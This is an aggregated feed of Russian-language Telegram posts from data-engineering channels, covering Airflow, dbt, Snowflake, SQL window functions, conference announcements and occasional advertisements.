SmartData от JUG Ru Group возвращается!Конференция для дата-инженеров пройдет уже в октябре. Вы можете стать ее спикером. Если у вас есть интересные кейсы или вы хотите поделиться опытом решения нетривиальных задач — подавайте заявку на участие. Вы подтвердите свою экспертность, познакомитесь с крутыми специалистами и получите обратную связь от участников. Программный комитет поможет с подготовкой к выступлению — назначит персонального куратора, проведет ревью материала и организует репетиции.На сайте вы найдёте список тем, с которыми можно выступить. Если хотите выступить с другой темой, присылайте свои предложения — их обязательно рассмотрят.А если хотите просто поучаствовать в SmartData …

2 месяца назад @ t.me
Устали заливать медленный код серверами? Приходите на новый сезон онлайн-конференции для backend-разработчиков Podlodka Backend Crew! Стартуем 18 июля, тема сезона – "Делаем приложения быстрее"!Всю неделю будем пристально смотреть на производительность при
Устали заливать медленный код серверами? Приходите на новый сезон онлайн-конференции для backend-разработчиков Podlodka Backend Crew! Стартуем 18 июля, тема сезона – "Делаем приложения быстрее"!Всю неделю будем пристально смотреть на производительность при

Устали заливать медленный код серверами? Приходите на новый сезон онлайн-конференции для backend-разработчиков Podlodka Backend Crew! Стартуем 18 июля, тема сезона – "Делаем приложения быстрее"!Всю неделю будем пристально смотреть на производительность приложений. Будем учиться⚡️Замерять и анализировать нагрузку⚡️Оптимизировать узкие места, не переписывая сервис с нуля⚡️Грамотно использовать многопоточность и эффективно утилизировать доступные ресурсы⚡️Ускорять все, что тормозит!Будем разбираться фундаментально, поэтому привязки к конкретному стеку и фреймворкам в программе не будет. Зато, например, будем разбираться с реактивным подходом и акторной моделью.Как всегда в Podlodka Crew все эт…

2 месяца, 2 недели назад @ t.me
Про таймауты и внешние APIХорошей практикой при работе с внешними сервисами я считаю явное указание таймаутов ожидания соединения и ответа от хоста. Такой подход поможет избежать проблем с "зависанием" соединения и, как следствие, блокировкой процесса (для
Про таймауты и внешние APIХорошей практикой при работе с внешними сервисами я считаю явное указание таймаутов ожидания соединения и ответа от хоста. Такой подход поможет избежать проблем с "зависанием" соединения и, как следствие, блокировкой процесса (для

Про таймауты и внешние APIХорошей практикой при работе с внешними сервисами я считаю явное указание таймаутов ожидания соединения и ответа от хоста. Такой подход поможет избежать проблем с "зависанием" соединения и, как следствие, блокировкой процесса (для блокирующих соединений). На моей памяти было 2 неприятных кейса. В далёком 2015 я использовал requests для работы с сервисом поиска и бронирования ЖД билетов в Казахстане, по-умолчанию в requests нет таймаута и ожидание может превратиться в бесконечность. Всё было хорошо до тех пор пока у внешнего сервиса не начались проблемы, и он перестал отвечать на запросы. Все worker-процессы ушли в бесконечное ожидание, и мой сервис перестал принима…

3 месяца назад @ t.me
Хех, тут новый релиз Luigi нарисовался — https://github.com/spotify/luigi/releases/tag/3.1.0В интернетах народ уже давно похоронил этот замечательный фреймворк, апеллирует народ в основном к тому, что, мол, давно не было обновлений. А обновлять то там особ
Хех, тут новый релиз Luigi нарисовался — https://github.com/spotify/luigi/releases/tag/3.1.0В интернетах народ уже давно похоронил этот замечательный фреймворк, апеллирует народ в основном к тому, что, мол, давно не было обновлений. А обновлять то там особ

Хех, тут новый релиз Luigi нарисовался — https://github.com/spotify/luigi/releases/tag/3.1.0В интернетах народ уже давно похоронил этот замечательный фреймворк, апеллирует народ в основном к тому, что, мол, давно не было обновлений. А обновлять то там особо нечего, он простой и работает без сбоев. У меня, например, Luigi вот уже много лет бэкапит все сайты и складывает на S3.

3 месяца, 1 неделя назад @ t.me
Доклады с Airflow Summit 2022 подъехали: https://bit.ly/3mzyl9T
Доклады с Airflow Summit 2022 подъехали: https://bit.ly/3mzyl9T

Доклады с Airflow Summit 2022 подъехали: https://bit.ly/3mzyl9T

3 месяца, 2 недели назад @ t.me
Подготовил конспект статьи от Shopify о сетапе Airflow на 10 тысяч DAG'ов со 150 тысячами запусков в день. Сэкономит вам время на прочтении и поможет освежить в памяти в будущем.#briefly #airflow Airflow: scaling out recommendations by Shopifyhttps://teleg
Подготовил конспект статьи от Shopify о сетапе Airflow на 10 тысяч DAG'ов со 150 тысячами запусков в день. Сэкономит вам время на прочтении и поможет освежить в памяти в будущем.#briefly #airflow Airflow: scaling out recommendations by Shopifyhttps://teleg

Подготовил конспект статьи от Shopify о сетапе Airflow на 10 тысяч DAG'ов со 150 тысячами запусков в день. Сэкономит вам время на прочтении и поможет освежить в памяти в будущем.#briefly #airflow Airflow: scaling out recommendations by Shopifyhttps://telegra.ph/Airflow-scaling-out-recommendations-by-Shopify-06-03What's inside:— Cloud Storage vs Network File System.— Metadata retention policy.— Manifest file.— Consistent distribution of load.— Concurrency management.— Using different execution environments.Origin: Lessons Learned From Running Apache Airflow at Scale

3 месяца, 3 недели назад @ t.me
Инжиниринг Данных Инжиниринг Данных
последний пост 12 часов назад
Как реализовать Big Data-проект в облаке: технологический стек, процесс внедрения и подводные камни ⏰ Когда: 27 сентября, 17:00 (мск)📍 РегистрацияНа вебинаре эксперты расскажут, как развернуть Big Data-проект в облаке: какие варианты построения архитектуры
Как реализовать Big Data-проект в облаке: технологический стек, процесс внедрения и подводные камни ⏰ Когда: 27 сентября, 17:00 (мск)📍 РегистрацияНа вебинаре эксперты расскажут, как развернуть Big Data-проект в облаке: какие варианты построения архитектуры Как реализовать Big Data-проект в облаке: технологический стек, процесс внедрения и подводные камни ⏰ Когда: 27 сентября, 17:00 (мск)📍 РегистрацияНа вебинаре эксперты расскажут, как развернуть Big Data-проект в облаке: какие варианты построения архитектуры

Как реализовать Big Data-проект в облаке: технологический стек, процесс внедрения и подводные камни ⏰ Когда: 27 сентября, 17:00 (мск)📍 РегистрацияНа вебинаре эксперты расскажут, как развернуть Big Data-проект в облаке: какие варианты построения архитектуры существуют, по каким критериям выбирать инструменты, как разделить роли между интегратором и облачным провайдером и как внедрить проект, минуя подводные камни. В программе:🔹 Выбор инфраструктуры: когда проект стоит разместить в облаке, а когда — On-Premise.🔹 Архитектура облачного Big Data-решения: технологический стек для DWH и примеры построения Data Lake.🔹 Процесс внедрения: из каких этапов состоит, как подготовиться к каждому из них, ч…

12 часов назад @ t.me
Как часто, при выходе на новую позицию в новую команду компанию, нам хочется все переделать и переписать? Да, практические всегда! Это уже кажется известный мэм. Но с опытом мы понимаем, что это ловушка, в которую легко попасть. Часто очевидно, что проще с
Как часто, при выходе на новую позицию в новую команду компанию, нам хочется все переделать и переписать? Да, практические всегда! Это уже кажется известный мэм. Но с опытом мы понимаем, что это ловушка, в которую легко попасть. Часто очевидно, что проще с

Как часто, при выходе на новую позицию в новую команду компанию, нам хочется все переделать и переписать? Да, практические всегда! Это уже кажется известный мэм. Но с опытом мы понимаем, что это ловушка, в которую легко попасть. Часто очевидно, что проще создать новое решение, использовать более современный продукт или сделать миграцию в облако. Все это бесспорно хорошо, в большинстве случаев.Но, не не стоит забывать, что то решение, которое сейчас есть и тот подход, который использовался, помог организации оказаться там, где она сейчас. И если вас туда взяли на работу, то не все так плохо в организации. Нужно принять этот факт и воздержаться от комментариев, что это 💩. Критиковать нужно пр…

1 неделя назад @ t.me
Посетила интересная мысль😋Возьмём dbt - безумно популярный продукт, особенно с облаками и со snowflake. Snowflake с удовольствием продвигает dbt, dbt делает тоже самое в ответ.При этом лента в LinkedIn завалена сообщениями про безумный ценник на снежинку,
Посетила интересная мысль😋Возьмём dbt - безумно популярный продукт, особенно с облаками и со snowflake. Snowflake с удовольствием продвигает dbt, dbt делает тоже самое в ответ.При этом лента в LinkedIn завалена сообщениями про безумный ценник на снежинку,

Посетила интересная мысль😋Возьмём dbt - безумно популярный продукт, особенно с облаками и со snowflake. Snowflake с удовольствием продвигает dbt, dbt делает тоже самое в ответ.При этом лента в LinkedIn завалена сообщениями про безумный ценник на снежинку, из-за большого количества CTE, которые dbt создаёт. Проблемы с оптимизацией запросов и партициями (снежинка же это data warehouse as a service, то есть все там и без вас знают как тюнить). Так вот мне кажется, чтобы сделать успешный продукт в экосистеме snowflake, надо его сделать таким, чтобы он как можно больше бабла тратил и приносил профит «папе» продукту, как история с dbt и snowflake. Возможно, что без dbt клиенты меньше бы заносили …

1 неделя, 2 дня назад @ t.me
Сколько времени нужно посвящать учёбе и профессиональному развитию? Ясень пень, это все относительно. Новичкам, нужно посвящать время больше, старичкам меньше😎Если ваша задача получить первую работу в новой области (возможно это что-то связанное с данными
Сколько времени нужно посвящать учёбе и профессиональному развитию? Ясень пень, это все относительно. Новичкам, нужно посвящать время больше, старичкам меньше😎Если ваша задача получить первую работу в новой области (возможно это что-то связанное с данными

Сколько времени нужно посвящать учёбе и профессиональному развитию? Ясень пень, это все относительно. Новичкам, нужно посвящать время больше, старичкам меньше😎Если ваша задача получить первую работу в новой области (возможно это что-то связанное с данными и аналитикой), то учиться надо все свободное время.А если у вас уже есть работа в этой области, то самы хороший вариант это использовать подход Амазон - 70/20/10. 70% - вы тратите на работу и учитесь по ходу.20% - вы тратите на дополнительные материалы, курсы и книги.10% - конференция, митапы, онлайн трансляции и тп.Как делаю я? Так как у меня есть понимание воющем и мне понятна картина мира аналитических решений, то у меня обычно возникае…

1 неделя, 4 дня назад @ t.me
Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед
Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-побед

Ты спец по развернутой аналитике целевой аудитории сервисов? Приходи на соревнование по цифровизации в сфере туризма Moscow Travel Hack и помоги привлечь новых пользователей на сайт RUSSPASS.Приводи друзей из маркетинга, дизайна и разработки. Команда-победитель получит 300 тысяч рублей, а серебряный призер — 200 тысяч рублей. Подать заявку до 4 октябряДаты проведения: 15-16 октябряМесто проведения: Grand Ballroom Организатор: Комитет по туризму города Москвы в рамках проекта Moscow Travel Hub. #реклама

1 неделя, 4 дня назад @ t.me
Если вы соскучились по западнным конференциям и спикерам, где известные личности будут рассказывать о важности аналитики и данных, то вот вам замечательный event - https://www.matillion.com/data-unlocked/ Спикеры интересные, презентации думаю тоже будут кр
Если вы соскучились по западнным конференциям и спикерам, где известные личности будут рассказывать о важности аналитики и данных, то вот вам замечательный event - https://www.matillion.com/data-unlocked/ Спикеры интересные, презентации думаю тоже будут кр

Если вы соскучились по западнным конференциям и спикерам, где известные личности будут рассказывать о важности аналитики и данных, то вот вам замечательный event - https://www.matillion.com/data-unlocked/ Спикеры интересные, презентации думаю тоже будут красивые, раньше я с таких идеи воровал для своих:)

1 неделя, 5 дней назад @ t.me
Свежий пост - "Что такое инжиниринг данных?"
Свежий пост - "Что такое инжиниринг данных?" Свежий пост - "Что такое инжиниринг данных?"

Свежий пост - "Что такое инжиниринг данных?"

1 неделя, 5 дней назад @ t.me
Существует несколько терминов, которые, как говорят коллеги - confused.Итак, есть база данных, и базы данных бывают SQL и NoSQL.Мы обычно работаем с SQL. Пример, это Postgres, MySQL, sql server. Такую базу данных можно использовать как хранилище данных или
Существует несколько терминов, которые, как говорят коллеги - confused.Итак, есть база данных, и базы данных бывают SQL и NoSQL.Мы обычно работаем с SQL. Пример, это Postgres, MySQL, sql server. Такую базу данных можно использовать как хранилище данных или

Существует несколько терминов, которые, как говорят коллеги - confused.Итак, есть база данных, и базы данных бывают SQL и NoSQL.Мы обычно работаем с SQL. Пример, это Postgres, MySQL, sql server. Такую базу данных можно использовать как хранилище данных или как источник данных для хранилища данных. Если это заточник, 99% это OLTP, а мы с помощью ETL/ELT или даже CDC, забираем данные в хранилище. NoSQL, например MongoDb, это уже источник, обычно нам надо знать как мы можем забрать данные из неё.Дальше непосредственно хранилище данных, что прежде всего означает SQL интерфейс, это либо тот же Postgres/sql server или кластер (аналитическая БД) как greenplum, redshift и тп. Дальше - озеро данных.…

1 неделя, 6 дней назад @ t.me
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл

Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекламы в новых условиях;- что предлагает Apple для закупки Web2App и как этим пользоваться.Вебинар состоится 15 сентября в 15:00 МСК. 👉 Регистрируйтесь бесплатно по ссылке#реклама

1 неделя, 6 дней назад @ t.me
https://youtu.be/VLtq0eeHc14
https://youtu.be/VLtq0eeHc14

https://youtu.be/VLtq0eeHc14

2 недели, 1 день назад @ t.me
DE skill matrix
DE skill matrix DE skill matrix

DE skill matrix

2 недели, 1 день назад @ t.me
Товарищ расписал каким образом в организациях получаются не масштабируемые "SQL spaghetti":1. Business users need simple financial and growth metrics2. Engineers set up basic pipelines from S3 (Often Fivetran)3. Data Producers see the data platform as a bl
Товарищ расписал каким образом в организациях получаются не масштабируемые "SQL spaghetti":1. Business users need simple financial and growth metrics2. Engineers set up basic pipelines from S3 (Often Fivetran)3. Data Producers see the data platform as a bl

Товарищ расписал каким образом в организациях получаются не масштабируемые "SQL spaghetti":1. Business users need simple financial and growth metrics2. Engineers set up basic pipelines from S3 (Often Fivetran)3. Data Producers see the data platform as a black box3. A lone data engineer creates early versions of the core data infra4. The DE rarely has time to document/plan the architecture properly6. Product teams hire analysts to answer more complex questions7. Early DE is barely kept 'in the loop' for product and data needs8. Pipeline development begins becoming harder to manage9. Data infrastructure tooling is taken more seriously10. Teams consider the shift to Snowflake, Databricks, dbt,…

2 недели, 2 дня назад @ t.me
Как помочь тестировщикам и разработчикам понять происходящее в функционале без необходимости лезть в код? Ответ очевиден: cоставить понятную и хорошо структурированную документацию. Системные аналитики Татьяна Цикунова и Елизавета Маркова поделились опытом
Как помочь тестировщикам и разработчикам понять происходящее в функционале без необходимости лезть в код? Ответ очевиден: cоставить понятную и хорошо структурированную документацию. Системные аналитики Татьяна Цикунова и Елизавета Маркова поделились опытом

Как помочь тестировщикам и разработчикам понять происходящее в функционале без необходимости лезть в код? Ответ очевиден: cоставить понятную и хорошо структурированную документацию. Системные аналитики Татьяна Цикунова и Елизавета Маркова поделились опытом внедрения структурированного шаблона функциональных требований к разработке ПО в МТС Банке.Статья будет полезна тем, кто работает с фронтовым функционалом — системным и бизнес-аналитикам.Прочитать можно здесь.#реклама

2 недели, 2 дня назад @ t.me
Привет :) ... Вышла моя следующая статья, про cost-efficient Snowflake по итогам 3 лет использования. И про то, как стартовать развитие дата платформы в новой компании. https://medium.com/manychat-team/data-modeling-today-launching-cost-effective-analytics
Привет :) ... Вышла моя следующая статья, про cost-efficient Snowflake по итогам 3 лет использования. И про то, как стартовать развитие дата платформы в новой компании. https://medium.com/manychat-team/data-modeling-today-launching-cost-effective-analytics

Привет :) ... Вышла моя следующая статья, про cost-efficient Snowflake по итогам 3 лет использования. И про то, как стартовать развитие дата платформы в новой компании. https://medium.com/manychat-team/data-modeling-today-launching-cost-effective-analytics-for-manychat-764d305f287b

2 недели, 4 дня назад @ t.me
Интересно, много людей еще пользуются SAP BusinessObjects? Попалась статья про их Roadmap. Сообщили про несколько вещей:- Self Service Analytics - еще с 2013 года развивают SAP Lumira- Интеграция с облачным DWH SAP HANA, тоже не ново.- Операционная отчетн
Интересно, много людей еще пользуются SAP BusinessObjects? Попалась статья про их Roadmap. Сообщили про несколько вещей:- Self Service Analytics - еще с 2013 года развивают SAP Lumira- Интеграция с облачным DWH SAP HANA, тоже не ново.- Операционная отчетн

Интересно, много людей еще пользуются SAP BusinessObjects? Попалась статья про их Roadmap. Сообщили про несколько вещей:- Self Service Analytics - еще с 2013 года развивают SAP Lumira- Интеграция с облачным DWH SAP HANA, тоже не ново.- Операционная отчетность (что-то из экосистемы SAP)В целом совсем грустно, наверно у кого SAP BO сидят еще на версии 3, а если повезло то и на 4, других релизов-то и не было.Кстати SAP BO оказался самым крутым инструментом для того, чтобы учить BI. Там есть все, но он не перегружен как Microstrategy. Для меня лушчая школа BI - SAP Business Objects, с Universes, вычисляемыми мерами, с локальным и веб клиентом. Там есть все, что необходимо.

2 недели, 5 дней назад @ t.me
Left Join Left Join
последний пост 4 дня, 22 часа назад
Чел сделал тул для Linux для написания SQL запросов к .csv-файлам. Уже 9.3К звездочек на гитхабе ⭐
Чел сделал тул для Linux для написания SQL запросов к .csv-файлам. Уже 9.3К звездочек на гитхабе ⭐

Чел сделал тул для Linux для написания SQL запросов к .csv-файлам. Уже 9.3К звездочек на гитхабе ⭐

4 дня, 22 часа назад @ t.me
🎀 Гендерное неравенство и визуализация данных 🚙При визуализации данных очень большой акцент ставится на цветах для отображения разных исследуемых групп. Но, когда речь заходит о гендерной тематике, по шаблону используется дуэт «розовый + голубой». В эпоху
🎀 Гендерное неравенство и визуализация данных 🚙При визуализации данных очень большой акцент ставится на цветах для отображения разных исследуемых групп. Но, когда речь заходит о гендерной тематике, по шаблону используется дуэт «розовый + голубой». В эпоху

🎀 Гендерное неравенство и визуализация данных 🚙При визуализации данных очень большой акцент ставится на цветах для отображения разных исследуемых групп. Но, когда речь заходит о гендерной тематике, по шаблону используется дуэт «розовый + голубой». В эпоху глобального переосмысления гендерных стереотипов, дизайнеры ведущих новостных изданий решили пойти наперекор устоявшимся традициям в визуализации и дать данным больше красок и свободы.Дизайнер и блоггер из Берлина Лиза Шарлотта Мут исследовала тенденцию и поделилась в своем блоге идеями о том, какие подходы практикуются мировыми СМИ и как они учат читателя задумываться о гендерных стереотипах в культуре и мышлении. Мы перевели её статью дл…

6 дней, 18 часов назад @ t.me
Отличный пост на Medium о том, как загрузить всю историю Эфира в S3.Пост, кстати, написал Антон Брызгалов, с которым мы имеем честь работать вместе на одном из проектов (Антон, привет! 👋).Антон — прекрасный дата инженер и эксперт, поэтому смело хочу пореко
Отличный пост на Medium о том, как загрузить всю историю Эфира в S3.Пост, кстати, написал Антон Брызгалов, с которым мы имеем честь работать вместе на одном из проектов (Антон, привет! 👋).Антон — прекрасный дата инженер и эксперт, поэтому смело хочу пореко

Отличный пост на Medium о том, как загрузить всю историю Эфира в S3.Пост, кстати, написал Антон Брызгалов, с которым мы имеем честь работать вместе на одном из проектов (Антон, привет! 👋).Антон — прекрасный дата инженер и эксперт, поэтому смело хочу порекомендовать его канал How to DWH with Python. Антон публикует заметки и cheat sheets на тему инжиниринга данных и делится последними новотсями этой сферы. Must see для любого начинающего и опытного data инженера! 😎

1 неделя назад @ t.me
🇨🇾 Cyprus Data 🇨🇾Недавно я переехал на Кипр, освоился и выстроил все рутинные процессы на новом месте и теперь, накопив много сил и желания общаться, хочу запустить сообщество 🇨🇾 Cyprus Data. 🎉 Что будет в этом канале?В канале я планирую делиться своими н
🇨🇾 Cyprus Data 🇨🇾Недавно я переехал на Кипр, освоился и выстроил все рутинные процессы на новом месте и теперь, накопив много сил и желания общаться, хочу запустить сообщество 🇨🇾 Cyprus Data. 🎉 Что будет в этом канале?В канале я планирую делиться своими н

🇨🇾 Cyprus Data 🇨🇾Недавно я переехал на Кипр, освоился и выстроил все рутинные процессы на новом месте и теперь, накопив много сил и желания общаться, хочу запустить сообщество 🇨🇾 Cyprus Data. 🎉 Что будет в этом канале?В канале я планирую делиться своими наблюдениями о Кипре с точки зрения данных, анонсировать интересные события и конференции, а также, возможно, организовывать митапы с заинтересованными профессионалами в области данных. 🙋 А где общаться?Любое комьюнити предполагает площадку для открытого общения его участников, поэтому я создал отдельный чат Cyprus Data Chat для знакомств и обсуждения всего, что связано с Кипром и аналитикой данных. Если вы на Кипре и вам это интересно – под…

1 неделя, 3 дня назад @ t.me
LEFT JOIN pinned a photo
LEFT JOIN pinned a photo

LEFT JOIN pinned a photo

1 неделя, 4 дня назад @ t.me
Оконные и аналитические функции в SQL: НачалоВрываемся с серией постов про оконные функции в SQL. Оконные функции — это классная опция в некоторых движках баз данных, которая с легкостью помогает решать ряд аналитических задач без написания сложных SQL-кон
Оконные и аналитические функции в SQL: НачалоВрываемся с серией постов про оконные функции в SQL. Оконные функции — это классная опция в некоторых движках баз данных, которая с легкостью помогает решать ряд аналитических задач без написания сложных SQL-кон Оконные и аналитические функции в SQL: НачалоВрываемся с серией постов про оконные функции в SQL. Оконные функции — это классная опция в некоторых движках баз данных, которая с легкостью помогает решать ряд аналитических задач без написания сложных SQL-кон

Оконные и аналитические функции в SQL: НачалоВрываемся с серией постов про оконные функции в SQL. Оконные функции — это классная опция в некоторых движках баз данных, которая с легкостью помогает решать ряд аналитических задач без написания сложных SQL-конструкций.Разберемся подробнееКогда мы пишем запрос для получения агрегатов, то строки обрабатываются «единым куском», для которого вычисляется агрегат.А при использовании оконных функций, запрос делится на “окна” и уже для каждой из отдельных частей считаются нужные агрегаты. ​​Важно помнить: движок посчитает в рамках окна только те агрегаты, которые используют оконное выражение, а не все подряд в запросе.Окно определяется с помощью обязат…

1 неделя, 4 дня назад @ t.me
В Data Science одни из самых высоких зарплат в IT. Войти в эту сферу можно с нуля — курс «Профессия Data Scientist PRO» как раз подходит для новичков.→Вы с нуля освоите Python, SQL, научитесь собирать и анализировать данные, получите необходимый теоретичес
В Data Science одни из самых высоких зарплат в IT. Войти в эту сферу можно с нуля — курс «Профессия Data Scientist PRO» как раз подходит для новичков.→Вы с нуля освоите Python, SQL, научитесь собирать и анализировать данные, получите необходимый теоретичес В Data Science одни из самых высоких зарплат в IT. Войти в эту сферу можно с нуля — курс «Профессия Data Scientist PRO» как раз подходит для новичков.→Вы с нуля освоите Python, SQL, научитесь собирать и анализировать данные, получите необходимый теоретичес

В Data Science одни из самых высоких зарплат в IT. Войти в эту сферу можно с нуля — курс «Профессия Data Scientist PRO» как раз подходит для новичков.→Вы с нуля освоите Python, SQL, научитесь собирать и анализировать данные, получите необходимый теоретический минимум по математике, теории вероятности и статистике. →С вами будет работать личный наставник. Он не только укажет на ошибки, но и поможет разобраться в сложных темах и ответит на вопросы.→ Выберете направление для продвинутого изучения. Решите задачи на реальных данных, обучите нейросеть, углубите знания Python, библиотек для анализа данных и машинного обучения, освоите BI-инструменты, Git и выполните командные проекты в области big…

1 неделя, 4 дня назад @ t.me
Облачные провайдеры, на которые вы мигрировали?Многие масштабные облачные сервисы стали недоступны для российских компаний, например, MS Azure, GCP, AWS и другие. Очевидно, что многие отказались от западного облака и перешли либо на on-premise, либо на рос
Облачные провайдеры, на которые вы мигрировали?Многие масштабные облачные сервисы стали недоступны для российских компаний, например, MS Azure, GCP, AWS и другие. Очевидно, что многие отказались от западного облака и перешли либо на on-premise, либо на рос

Облачные провайдеры, на которые вы мигрировали?Многие масштабные облачные сервисы стали недоступны для российских компаний, например, MS Azure, GCP, AWS и другие. Очевидно, что многие отказались от западного облака и перешли либо на on-premise, либо на российские аналоги. Нам стало интересно составить список таких альтернатив и поделиться с вами, поэтому будем благодарны помощи! Поделитесь в комментариях, пришлось ли вам сейчас переезжать с вашего облачного сервиса на альтернативный? С какого на какой? Раскажите про свой опыт и проблемы, с которыми столкнулись – давайте поможем друг другу не наступать на одни и те же грабли 🤦‍♂️

1 неделя, 5 дней назад @ t.me
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл
Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекл

Вебинар от MyTracker: все о SKAdNetwork 4.0 для аналитиков и маркетологов iOS приложений. На вебинаре вы узнаете о новых возможностях SKAdNetwork для iOS 16, а также:- как научиться понимать и использовать SKAdNetwork 4.0;- как оценивать эффективность рекламы в новых условиях;- что предлагает Apple для закупки Web2App и как этим пользоваться.Вебинар состоится 15 сентября в 15:00 МСК. Регистрируйтесь бесплатно по ссылке 👉 https://vk.cc/cgqMV1#реклама

2 недели назад @ t.me
Как быть вежливым и не тратить на это времяОпытные (и не очень) специалисты в области данных часто получают письма рекрутеров, в которых они не заинтересованы, ведь бóльшую часть времени люди не ищут новую работу. В итоге, очередное такое неактуальное пись
Как быть вежливым и не тратить на это времяОпытные (и не очень) специалисты в области данных часто получают письма рекрутеров, в которых они не заинтересованы, ведь бóльшую часть времени люди не ищут новую работу. В итоге, очередное такое неактуальное пись Как быть вежливым и не тратить на это времяОпытные (и не очень) специалисты в области данных часто получают письма рекрутеров, в которых они не заинтересованы, ведь бóльшую часть времени люди не ищут новую работу. В итоге, очередное такое неактуальное пись

Как быть вежливым и не тратить на это времяОпытные (и не очень) специалисты в области данных часто получают письма рекрутеров, в которых они не заинтересованы, ведь бóльшую часть времени люди не ищут новую работу. В итоге, очередное такое неактуальное письмо летит в архив еще до того как его открывают, а новые письма продолжают приходить.Конечно, постоянно поступающие предложения пройти собеседование — это не то что бы серьезная проблема. Однако, почему бы не попробовать автоматизировать её решение?Зачем отвечать на эти письма (а не игнорировать их)💁‍♂️ Это вежливо;📨 Это спасает почтовый ящик от появления последующих писем-напоминаний;👬 Это помогает поддерживать теплые отношения с рекрутера…

2 недели назад @ t.me
Stable Diffusion – AI-модель, к которой наконец есть доступВ конце августа компания Stability.ai, которую основал Эмад Мостак, объявила о запуске новой AI-модели для создания изображений – Stable Diffusion. Давайте сравним с DALL·E 2 и ImagenЦель проекта S
Stable Diffusion – AI-модель, к которой наконец есть доступВ конце августа компания Stability.ai, которую основал Эмад Мостак, объявила о запуске новой AI-модели для создания изображений – Stable Diffusion. Давайте сравним с DALL·E 2 и ImagenЦель проекта S Stable Diffusion – AI-модель, к которой наконец есть доступВ конце августа компания Stability.ai, которую основал Эмад Мостак, объявила о запуске новой AI-модели для создания изображений – Stable Diffusion. Давайте сравним с DALL·E 2 и ImagenЦель проекта S

Stable Diffusion – AI-модель, к которой наконец есть доступВ конце августа компания Stability.ai, которую основал Эмад Мостак, объявила о запуске новой AI-модели для создания изображений – Stable Diffusion. Давайте сравним с DALL·E 2 и ImagenЦель проекта Stability.ai – создание open-source AI-моделей, которые поощряет открытое использование, а не только применение в исследовательских целях. Этот подход разнится с другими технологическими компаниями, например, OpenAI, которая охраняет секреты моделей GPT-3 и DALL·E 2, или Google, которая даже не собиралась давать пользователям доступ к моделям PaLM, Imagen или Parti.Эмад Мостак извлек уроки из ошибок OpenAI. Вирусный успех открытой модели Cr…

2 недели, 3 дня назад @ t.me
🍏 Вас спасет? 🆘Apple объявила о новой функции спутникового подключения под названием Emergency SOS via Sattelite во время презентации iPhone 14. Этот инструмент предназначен для того, чтобы помочь людям, использующим телефоны нового поколения компании, ост
🍏 Вас спасет? 🆘Apple объявила о новой функции спутникового подключения под названием Emergency SOS via Sattelite во время презентации iPhone 14. Этот инструмент предназначен для того, чтобы помочь людям, использующим телефоны нового поколения компании, ост 🍏 Вас спасет? 🆘Apple объявила о новой функции спутникового подключения под названием Emergency SOS via Sattelite во время презентации iPhone 14. Этот инструмент предназначен для того, чтобы помочь людям, использующим телефоны нового поколения компании, ост

🍏 Вас спасет? 🆘Apple объявила о новой функции спутникового подключения под названием Emergency SOS via Sattelite во время презентации iPhone 14. Этот инструмент предназначен для того, чтобы помочь людям, использующим телефоны нового поколения компании, оставаться на связи, когда сотовая связь не ловит.🤔 Как это работаетКомпания разработала и встроила в устройства iPhone 14 специальную технологию, чтобы подключаться к спутникам, даже если телефон не находятся рядом с наземной вышкой. Поскольку делать из iPhone 14 громоздкий спутниковый телефон – последнее, чего хотели создатели, у него будет встроенная антенна, которая будет спрятана в корпусе.Телефон будет оснащен ПО, которое покажет пользо…

2 недели, 4 дня назад @ t.me
Тайна листа А4 Листы А4 окружают людей повсюду: тексты статей, документы, бланки и копии печатаются именно на них. Не уверен, интересовались ли вы причинами размера листа А4 раньше, но давайте раз и навсегда с этим разберемся. Почему это интересно?Вы раньш
Тайна листа А4 Листы А4 окружают людей повсюду: тексты статей, документы, бланки и копии печатаются именно на них. Не уверен, интересовались ли вы причинами размера листа А4 раньше, но давайте раз и навсегда с этим разберемся. Почему это интересно?Вы раньш Тайна листа А4 Листы А4 окружают людей повсюду: тексты статей, документы, бланки и копии печатаются именно на них. Не уверен, интересовались ли вы причинами размера листа А4 раньше, но давайте раз и навсегда с этим разберемся. Почему это интересно?Вы раньш

Тайна листа А4 Листы А4 окружают людей повсюду: тексты статей, документы, бланки и копии печатаются именно на них. Не уверен, интересовались ли вы причинами размера листа А4 раньше, но давайте раз и навсегда с этим разберемся. Почему это интересно?Вы раньше измеряли параметры листа белой бумаги? Его размеры составляют ровно 210 на 297 миллиметров. Да-да, длинная сторона листа А4 – 297 мм, что слегка противоречит законам здравого смысла, ведь 30 сантиметров гораздо проще отмерить, чем 29,7.Почему 297?Возьмите прямоугольный лист бумаги другого формата и попробуйте сложить его пополам по длинной стороне. Теперь у вас есть лист бумаги вдвое меньшего размера и другой формы. Возможно, изначально …

2 недели, 5 дней назад @ t.me
